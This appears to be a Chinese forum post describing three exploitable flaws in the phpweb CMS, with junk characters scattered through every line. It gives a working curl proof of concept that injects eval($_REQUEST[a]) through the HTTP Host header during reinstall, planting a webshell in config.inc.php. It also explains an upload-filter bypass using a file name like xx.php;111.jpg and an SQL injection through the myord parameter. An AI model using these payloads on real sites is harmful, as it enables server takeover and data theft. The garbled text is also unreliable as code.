注入:* l; M6 X; v1 G0 ^; A9 W
( m+ K5 a, G' h% |之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码& \* C2 \) ]& @" u8 M
) H" e7 [) {% g
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; {8 ?0 B1 j: F* z) r鸡肋2: 有一定安全常识的站长都会删掉 install 目录
7 G: |* c8 p i, l$ ^2 l - Y+ G9 Q# o3 ` I* v0 V
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响/ O9 A K) Q+ Y: Q
C: k" w' S" D& b/ S* d& b1 z: L分析:
f2 F% M( P! Y 2 O, ]7 f- C+ `7 B
) i. W/ v. T9 V, i; @9 f. a
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤! X+ h1 D, F* t4 u! o
. n; L: p& j* O! k U! t $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 A& }2 P' t* u( {- U2 v $filestr=str_replace(" ","",$filestr);1 c/ w* m6 I8 M( u& ~, |
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* e+ `6 b! @' h; j& P $filestr=str_replace("DefaultDbName",$dbname,$filestr);
" Y1 f! Z7 b( y. N { $filestr=str_replace("DefaultDbUser",$dbuser,$filestr); [! Y& m' y: D% g
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);& l+ v, G% H4 G$ y* ^# E( {& `
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);" b0 r# `! {, [$ Q
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$ F- R8 H. c1 a' C) a- }! J $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
- r7 Q! I2 N. m
8 C* s& p' F- J fwrite(fopen($ConFile,"w"),$filestr,30000);' Y9 B% [; G: A( R0 f7 B, I9 ?3 P
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^0 E/ @, L0 i t; Q- \4 s m
" @6 w* |* l5 T
poc:
1 I$ v9 X* b( I) {
# K2 }! U8 z8 c4 z6 `?* R* e/ T3 H! X5 w! u
1
/ l% J: {/ b: k% B' b: \8 rcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"1 o4 N" P7 V% i# ?
shell地址: /config.inc.php: z! K- w; w/ c: d1 L: {, V/ F9 z
跟之前的 phpcms一样 需要远程数据库0 U7 ]# ?1 _. f1 N7 ?+ D V% i
/ z7 f3 a, Q6 T8 s——————————————————–9 O! |* X1 R# ? j* E) ~) P
上传漏洞(需要进后台):
7 }* W$ I& K: k! b7 O/ D漏洞文件: /kedit/upload_cgi/upload.php
+ w7 ]9 k7 H1 Z' g5 E6 B S, ~这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
* M( b1 T$ `9 }
( J* A- d# X* n( l( y
* `# J& L5 i0 P4 R<?php
8 z- e: m# a' K- I% B define("ROOTPATH", "../../");; y t6 S/ t. ~; v* A* l: F
include(ROOTPATH."includes/admin.inc.php");
+ z# ]- v# `) y9 g* Y0 r& r2 b NeedAuth(0);, }: Y5 _3 G0 e0 ]+ U
- k8 W7 G1 K2 ^& M# Q. Y+ L+ Z- \1 k2 K
$dt=date("Ymd",time());
0 m; s4 u2 W6 S( x v if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
$ m6 E; \+ u) v- X/ s8 h @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 `* n; V+ i5 p+ T* u0 x9 e& c. ~3 [8 Y }9 {" Z, D1 ~5 \+ u- i- g5 d
/ i8 B$ g8 c" N; H) ? //文件保存目录路径
( d9 E5 _0 [1 {0 p% @ $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; s* i( E( T* C! S q$ p5 \
echo $save_path;
0 Y' D/ Y1 i9 g+ o //文件保存目录URL, n. D+ U; a1 v, a: @3 e
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
8 \' H) T$ b5 B; k 2 h, t1 E* S$ ~6 k
//定义允许上传的文件扩展名
# C$ G1 F1 X9 D. x; f% \* G $ext_arr = array('gif','jpg','png','bmp'); //限制后缀, N) V/ B& c" U2 [
$ K; g& M/ }* {/ I //最大文件大小
$ g% S Q. U+ h; K$ E $max_size = 1000000;
+ e! ] R9 g. M9 ^$ Y1 |! h% e ' n8 z, H3 j8 ^, s' Z7 \, z
//更改目录权限
9 t5 \) j! d6 k6 W; r$ m/ F- e3 ~ @mkdir($save_path, 0777);$ Q4 x0 I, D W# r9 F$ r
! b4 G7 E# w: E* ?: J8 ], b& H
//文件的全部路径% ^+ S& @$ U1 [- T! a, l* d. |
$file_path = $save_path.$_POST['fileName']; //保存文件名/ G% Q8 u0 U( u. m8 q1 K* x
1 \' s! C7 O* N2 f9 I% x0 @' r
//文件URL- S6 D' C' N5 w3 r2 O0 L: w
$file_url = $save_url.$_POST['fileName'];
& S+ ~5 i9 E8 _//有上传文件时, s0 d) k- [3 c, U! [/ K
if (empty($_FILES) === false) {
1 r5 w7 l {2 ?* @
/ l& C( z: q2 Q/ g& _. | //原文件名( D7 ?" j6 C' {- T, B
$file_name = $_FILES['fileData']['name'];
* v+ R% Y9 ~0 g* ^5 J1 K" k //服务器上临时文件名3 Z- {+ x$ `6 L) x4 r# e. X
$tmp_name = $_FILES['fileData']['tmp_name'];
# h. d; X* A' ^ //文件大小
* l+ ~1 X, n$ H $file_size = $_FILES['fileData']['size'];# V+ x- B' b7 W3 q8 W
//检查目录* X& D( e0 `4 P* X, U% p( c" g7 S
if (@is_dir($save_path) === false) {
+ h/ x+ V0 {+ @ alert("上传目录不存在。");1 B4 r. Y4 e# u/ l" B
}+ t1 k6 p; T" q, U. C4 Y
//检查目录写权限7 o r4 V; L; m' n7 c
if (@is_writable($save_path) === false) {
+ d# X7 Q/ o* k3 ]( v& P6 l1 `' b" f' C! b alert("上传目录没有写权限。");2 D5 d9 s7 X9 F$ o s* D) J
}* v, A2 c: K! B4 ~6 |1 w' T3 N
//检查是否已上传 j0 r% ^ Y8 L' P# H% {: ~
if (@is_uploaded_file($tmp_name) === false) {
' L' d; \( O4 a( F- S5 Y7 S7 u alert("临时文件可能不是上传文件。");1 g6 E" [0 m6 F; ]# R7 n
}
/ Y' Z! ~% x1 {+ k" R- u //检查文件大小
. W2 E/ M: \( W$ l if ($file_size > $max_size) {
9 e: n" u8 a1 l% S* o, v- d2 ~ alert("上传文件大小超过限制。");
# c i, h0 g8 u" B) d3 z }2 ~/ Z+ K2 u' Y2 h3 H8 [
//获得文件扩展名
( Q9 d* W' D! N, u/ q+ S; P $temp_arr = explode(".", $_POST['fileName']);
% k" z2 I; L, e9 { $file_ext = array_pop($temp_arr);
5 U! g+ f8 ~; b- ^( l; G Y0 }+ J $file_ext = trim($file_ext);5 ^: X2 O5 c. q0 H* M% _
$file_ext = strtolower($file_ext);; w! q- d- e! `/ c& Y8 Z
# A# Z6 b4 h* [1 x) a //检查扩展名
2 x. N7 m6 V7 G& g if (in_array($file_ext, $ext_arr) === false) { . S& X% K, Q. L1 l. U! o
alert("上传文件扩展名是不允许的扩展名。");+ u8 e7 y) a& Q) n! r
}
; i2 f7 G; S; V9 a1 d" r
( h5 ?$ ^, F7 O. S& G //移动文件
% s% F3 c0 B, @# R //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
; t9 e @3 G- ?) O: C6 M if (move_uploaded_file($tmp_name, $file_path) === false) {% w Z" z8 E# F8 C# q
alert("上传文件失败。");2 p0 {, g% m( [& N& ~! @
}( |& J! l/ {+ c5 z& I4 M' [7 T5 _
7 h) m0 Q4 \5 t P9 x
@chmod($file_path,0666);
: n3 A7 V7 @5 s& A
" Y0 M n% F) i' F! { i" v ?>
6 c$ |) y& B* N: j, |1 ]: c抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227 d' q9 n, H& k& f2 [
& u2 s6 T3 e! A* v* I& Y6 _9 h3 P" E
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过* Q) O0 \- B- I* J4 n
# n$ m4 C2 q4 S8 v
——————————————————: L8 u! Z6 t% `0 k9 W
注入漏洞:
+ Y- u: @) f4 a漏洞文件:search/module/search.php
* }9 ?( a- }5 r4 @! Q4 F/search/index.php?key=1&myord=1 [sqlinjection]' N* D$ x3 r9 c# @5 H5 `
}8 h) x7 W* [. h6 P
4 [* [- o, G" B& Z) P) {! G<?php, G+ |1 M. r: m2 P8 Z9 ]6 j
// ... 省略 n 行...0 C# t4 Z. s+ @+ z# N2 H- {' Y
//第18行:- d$ d6 D+ S( |4 e9 z# j
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
% P1 O0 D* r. p5 X2 ^ $page=htmlspecialchars($_GET["page"]);
! b* i+ x {) M $myord=htmlspecialchars($_GET["myord"]);
7 W$ v% l$ F6 U0 b, E) K$ E6 t" _4 G * N7 j3 E0 V6 C6 D. s
// ... 省略 n 行...
1 X; w' X& a3 x* I. X $key,$myord 两个参数带入查询 a, }. M6 x5 K; ~* w
//第47行 $key:* { d M2 \+ Z* f2 n. B
: ]; ]' ?& J% k
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
& V& [% K/ w Q) u. ` 8 b0 f! @: `8 U5 `% c% K5 R
//第197行 $myord. V2 |. s: j2 b: F4 U1 k
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入) U _4 M4 n6 Z+ z. T' V* h `' W
: C: R" S% X5 R! a/ s0 n0 I; e! f8 d e
?>, q1 N+ m5 y; D3 l- l0 U S
|